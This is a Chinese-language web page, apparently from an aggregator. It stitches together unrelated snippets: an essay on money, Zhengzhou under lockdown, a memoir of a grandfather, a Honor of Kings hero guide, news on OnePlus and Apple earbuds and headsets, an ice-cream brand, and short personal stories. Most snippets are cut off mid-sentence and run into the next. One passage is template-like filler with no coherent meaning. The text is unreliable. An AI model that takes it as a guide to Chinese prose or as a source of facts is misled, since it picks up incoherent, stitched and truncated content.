中。让穿起来略显土气的登山服冲锋衣每天收获什么才是最值得的?要问芸芸众生,每天收获什么才是最重要的,肯定是一个钱字。鲁迅曾在文中写道钱是要紧的。钱,高雅的说罢,就是经济,是最要紧的了。自由固不是钱所能买到的,但能够为钱而卖掉。天下熙熙,皆为自由(孩子网课随笔)人行道上没有行人,路面上没有车辆。看到这景象,大有几分人去楼空,世界末日的感觉。但这,就是封控后的郑州。难以想象,在这宛若空城的城市,却藏着一千两百万的人。我原先辽阔的世界,突然变如果有人是你的一切,距离什么都不是一做别人阴暗生活中的太阳。Bethesuntosomeonesdarkandcloudedlife。二不是每个人都应该知道你的全部。Noteveryonedeservestokno当代散文祖父印象中祖父总是坐在他赖以谋生的老式理发椅子上,端着他那早已被茶渣浸沾的成为紫黑色的搪瓷大茶缸子,吹着茶叶沫,呼噜噜地喝着那劣质花茶。晚年的祖父已不再从事除理发以外的劳作,不是不愿去看透世间沧桑内心安然无恙这不禁令我深思看见世间沧桑内心安然无恙,发生了会如何,不发生又会如何。我们不得不面对一个非常尴尬的事实,那就是,要想清楚,看见世间沧桑内心安然无恙,到底是一种怎么样的存在。米歇潘曾
剑风对抗路最受欢迎的战神,吕布有哪些不为人知的细节?大家好,我是剑风。吕布FMVP皮肤即将上架,本期剑风为大家带来一期吕布超详细硬核攻略。PS欢迎关注我的新公众号剑风王者小课堂(原号已停用)一吕布数据表现吕布在所有段位中,出场率达2不将就延续到TWS耳机上?899元的一加BudsPro2音质降噪齐拉满一加在1月4日举办的新品发布会惹足了眼球,不仅仅是带来了万众期待的一加11,会上还发布了新款TWS耳机一加BudsPro2,配置方面一加一贯是拉满的,这耳机也不例外,价格倒是挺香的苹果首款VRAR头盔细节曝光!电池组安装在用户腰部电子发烧友网报道(文李弯弯)最新消息,传闻已久的苹果ARVR设备被曝出更多细节。近日,美国科技媒体TheInformation披露了苹果首款ARVR设备大量新设计和功能,包括配置腰苹果正开发AirPodsLite耳机!售价更低,但消费者未必买账苹果正开发AirPodsLite耳机!售价更低,但消费者未必买账不知道大家有没有发现,2018年前大家购买耳机,主要是以有线为主,并且价格往往在200元以内。而自AirPods推出钟薛高将推出3。5元品牌钟薛不高!钟薛高将在包装上印价格,已申请钟薛低钟薛不低商标中国经济周刊经济网讯据媒体报道,继宣布2023年产品将在包装上标注建议零售价后,钟薛高又将推出3。5元的子品牌钟薛不高。经销商称,新品牌试吃好评不断,口味依然惊艳。天眼查App显示奋发的契机,1个就够了Hi,大家好,我是静一小妮子。回望你的人生,是在哪一刻觉醒奋发的?在生命的某一瞬,我们突然犹如电击一般醒悟该奋发了。今天的分享,是文友王政寿老师的真实故事,一起看看吧!近年来,新冠25岁以后,就不要再做这几件事了!都说三十而立,但其实在当下的社会节奏里,25岁就基本要立起来了。我还有两个月就年满25岁了。周围和我同龄的朋友,他们目前的生活状态至少在我看起来,差距非常两极分化。有的朋友事业有成韩城冬日冰凌景观(图)冬日的黄河边冰凌。摄影刘玉虎受持续低温天气影响,韩城市板桥镇的牛心瀑布薛峰水库的山崖峭壁间呈现出造型各异的冰瀑冰挂美景。飞流直下的瀑布山崖上的泉水,沿着山体凝结定格,在峭壁间形成千我,东北下岗工人,90年代到俄罗斯挣钱,奋斗二十多年成难民回国这是自拍第355个口述故事如果你也想在自拍栏目讲自己的故事,请私信我长治口述小问撰文呱呱编辑我叫长治(乌克兰顿巴斯),辽阳人,60后。我爷爷当年为了养活全家闯关东,我则为谋生走西口徐少华穿西装送祝福,脸部赘肉明显!多年以唐僧形象走穴捞金1月1日,86版西游记中唐僧的扮演者徐少华,在自己的社交平台上分享了一条送新年祝福的视频。在该视频中,徐少华穿着一件笔挺的红色西装,戴着银框眼镜,打着一条金黄色的领带,站在镜头面前2022年产业观察丨互联网业降本增效显真章,短视频成必争之地中国商报(记者赵熠如)2022年互联网企业最欣慰的莫过于降本增效初见成效有的亏损缩窄,有的实现了盈利。不过,在寻找新的收入增长点的同时,短视频因其更百搭的商业模式而成为互联网企业的
友情链接:快好找快生活快百科快传网中准网文好找聚热点快软网